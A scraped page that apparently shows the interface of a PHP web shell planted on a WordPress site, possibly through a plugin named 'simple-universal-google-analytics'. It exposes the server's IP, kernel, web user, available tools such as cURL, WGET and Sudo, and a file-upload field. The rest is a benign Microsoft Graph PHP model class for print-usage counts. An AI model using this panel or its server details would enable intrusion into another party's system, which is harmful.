Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* PrintUsage File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* PrintUsage class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class PrintUsage extends Entity
{
/**
* Gets the blackAndWhitePageCount
*
* @return int|null The blackAndWhitePageCount
*/
public function getBlackAndWhitePageCount()
{
if (array_key_exists("blackAndWhitePageCount", $this->_propDict)) {
return $this->_propDict["blackAndWhitePageCount"];
} else {
return null;
}
}
/**
* Sets the blackAndWhitePageCount
*
* @param int $val The blackAndWhitePageCount
*
* @return PrintUsage
*/
public function setBlackAndWhitePageCount($val)
{
$this->_propDict["blackAndWhitePageCount"] = intval($val);
return $this;
}
/**
* Gets the colorPageCount
*
* @return int|null The colorPageCount
*/
public function getColorPageCount()
{
if (array_key_exists("colorPageCount", $this->_propDict)) {
return $this->_propDict["colorPageCount"];
} else {
return null;
}
}
/**
* Sets the colorPageCount
*
* @param int $val The colorPageCount
*
* @return PrintUsage
*/
public function setColorPageCount($val)
{
$this->_propDict["colorPageCount"] = intval($val);
return $this;
}
/**
* Gets the completedBlackAndWhiteJobCount
*
* @return int|null The completedBlackAndWhiteJobCount
*/
public function getCompletedBlackAndWhiteJobCount()
{
if (array_key_exists("completedBlackAndWhiteJobCount", $this->_propDict)) {
return $this->_propDict["completedBlackAndWhiteJobCount"];
} else {
return null;
}
}
/**
* Sets the completedBlackAndWhiteJobCount
*
* @param int $val The completedBlackAndWhiteJobCount
*
* @return PrintUsage
*/
public function setCompletedBlackAndWhiteJobCount($val)
{
$this->_propDict["completedBlackAndWhiteJobCount"] = intval($val);
return $this;
}
/**
* Gets the completedColorJobCount
*
* @return int|null The completedColorJobCount
*/
public function getCompletedColorJobCount()
{
if (array_key_exists("completedColorJobCount", $this->_propDict)) {
return $this->_propDict["completedColorJobCount"];
} else {
return null;
}
}
/**
* Sets the completedColorJobCount
*
* @param int $val The completedColorJobCount
*
* @return PrintUsage
*/
public function setCompletedColorJobCount($val)
{
$this->_propDict["completedColorJobCount"] = intval($val);
return $this;
}
/**
* Gets the completedJobCount
*
* @return int|null The completedJobCount
*/
public function getCompletedJobCount()
{
if (array_key_exists("completedJobCount", $this->_propDict)) {
return $this->_propDict["completedJobCount"];
} else {
return null;
}
}
/**
* Sets the completedJobCount
*
* @param int $val The completedJobCount
*
* @return PrintUsage
*/
public function setCompletedJobCount($val)
{
$this->_propDict["completedJobCount"] = intval($val);
return $this;
}
/**
* Gets the doubleSidedSheetCount
*
* @return int|null The doubleSidedSheetCount
*/
public function getDoubleSidedSheetCount()
{
if (array_key_exists("doubleSidedSheetCount", $this->_propDict)) {
return $this->_propDict["doubleSidedSheetCount"];
} else {
return null;
}
}
/**
* Sets the doubleSidedSheetCount
*
* @param int $val The doubleSidedSheetCount
*
* @return PrintUsage
*/
public function setDoubleSidedSheetCount($val)
{
$this->_propDict["doubleSidedSheetCount"] = intval($val);
return $this;
}
/**
* Gets the incompleteJobCount
*
* @return int|null The incompleteJobCount
*/
public function getIncompleteJobCount()
{
if (array_key_exists("incompleteJobCount", $this->_propDict)) {
return $this->_propDict["incompleteJobCount"];
} else {
return null;
}
}
/**
* Sets the incompleteJobCount
*
* @param int $val The incompleteJobCount
*
* @return PrintUsage
*/
public function setIncompleteJobCount($val)
{
$this->_propDict["incompleteJobCount"] = intval($val);
return $this;
}
/**
* Gets the mediaSheetCount
*
* @return int|null The mediaSheetCount
*/
public function getMediaSheetCount()
{
if (array_key_exists("mediaSheetCount", $this->_propDict)) {
return $this->_propDict["mediaSheetCount"];
} else {
return null;
}
}
/**
* Sets the mediaSheetCount
*
* @param int $val The mediaSheetCount
*
* @return PrintUsage
*/
public function setMediaSheetCount($val)
{
$this->_propDict["mediaSheetCount"] = intval($val);
return $this;
}
/**
* Gets the pageCount
*
* @return int|null The pageCount
*/
public function getPageCount()
{
if (array_key_exists("pageCount", $this->_propDict)) {
return $this->_propDict["pageCount"];
} else {
return null;
}
}
/**
* Sets the pageCount
*
* @param int $val The pageCount
*
* @return PrintUsage
*/
public function setPageCount($val)
{
$this->_propDict["pageCount"] = intval($val);
return $this;
}
/**
* Gets the singleSidedSheetCount
*
* @return int|null The singleSidedSheetCount
*/
public function getSingleSidedSheetCount()
{
if (array_key_exists("singleSidedSheetCount", $this->_propDict)) {
return $this->_propDict["singleSidedSheetCount"];
} else {
return null;
}
}
/**
* Sets the singleSidedSheetCount
*
* @param int $val The singleSidedSheetCount
*
* @return PrintUsage
*/
public function setSingleSidedSheetCount($val)
{
$this->_propDict["singleSidedSheetCount"] = intval($val);
return $this;
}
/**
* Gets the usageDate
*
* @return \DateTime|null The usageDate
*/
public function getUsageDate()
{
if (array_key_exists("usageDate", $this->_propDict)) {
if (is_a($this->_propDict["usageDate"], "\DateTime") || is_null($this->_propDict["usageDate"])) {
return $this->_propDict["usageDate"];
} else {
$this->_propDict["usageDate"] = new \DateTime($this->_propDict["usageDate"]);
return $this->_propDict["usageDate"];
}
}
return null;
}
/**
* Sets the usageDate
*
* @param \DateTime $val The usageDate
*
* @return PrintUsage
*/
public function setUsageDate($val)
{
$this->_propDict["usageDate"] = $val;
return $this;
}
}